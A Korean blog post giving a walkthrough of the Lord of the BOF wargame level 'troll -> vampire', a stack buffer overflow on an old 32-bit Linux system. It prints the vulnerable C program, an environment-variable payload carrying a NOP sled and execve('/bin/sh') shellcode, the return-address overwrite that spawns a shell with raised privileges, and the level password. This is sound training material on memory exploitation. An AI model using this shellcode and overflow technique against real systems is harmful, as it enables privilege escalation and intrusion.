Sh4n3e

[시스템해킹][LOB] Level9 : Troll -> Vampire 본문

Wargame/LOB

[시스템해킹][LOB] Level9 : Troll -> Vampire

sh4n3e 2017. 6. 23. 15:46

디스어셈블이 필요없다.. 약간의 아이디어만 필요할뿐...

0xbfff대역을 사용하지 못하기 때문에 우리는 환경변수 영역을 많은 양으로 채워서 0xbfff대역을 벗어나 이용한다.


 [troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


        // here is changed!

        if(argv[1][46] == '\xff')

        {

                printf("but it's not forever\n");

                exit(0);

        }


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}



export하기 위한 Payload는 아래와 같다.


export $(python -c 'print "A0="+"\x90"*100+"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"+"\xa0\xfd\xff\xbf"+"\x90"*10000') 


아래와 같이 export를 실행시켜주고 환경변수의 주소를 얻어낸다. 


[troll@localhost troll]$ export $(python -c 'print "A0="+"\x90"*100+"\x31\xc0\>

[troll@localhost troll]$ export $(python -c 'print "B0="+"\x90"*100+"\x31\xc0\>

[troll@localhost troll]$ export $(python -c 'print "C0="+"\x90"*100+"\x31\xc0\>

[troll@localhost troll]$ export $(python -c 'print "D0="+"\x90"*100+"\x31\xc0\>

[troll@localhost troll]$ ./test A0

bfff8891

[troll@localhost troll]$ ./test B0

bfffb069

[troll@localhost troll]$ ./test C0

bfffd85f

[troll@localhost troll]$ ./test D0

bffe4b07


환경변수의 주소를 얻어내기위한 소스코드는 아래와 같다.


[troll@localhost troll]$ cat test.c

#include <stdio.h>



int main(int argc, char ** argv){

printf("%x\n", getenv(argv[1]));

return 0;

}


이렇게 얻어낸 주소를 가지고 0xbffe4b07로 ret를 바꿔주기만 하면 된다.


[troll@localhost troll]$ ./vampire $(python -c 'print "A"*44+"\x0f\x4b\xfe\xbf"')

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAK��

bash$ id

uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)

bash$ /bin/my-pass

euid = 509

music world 



Comments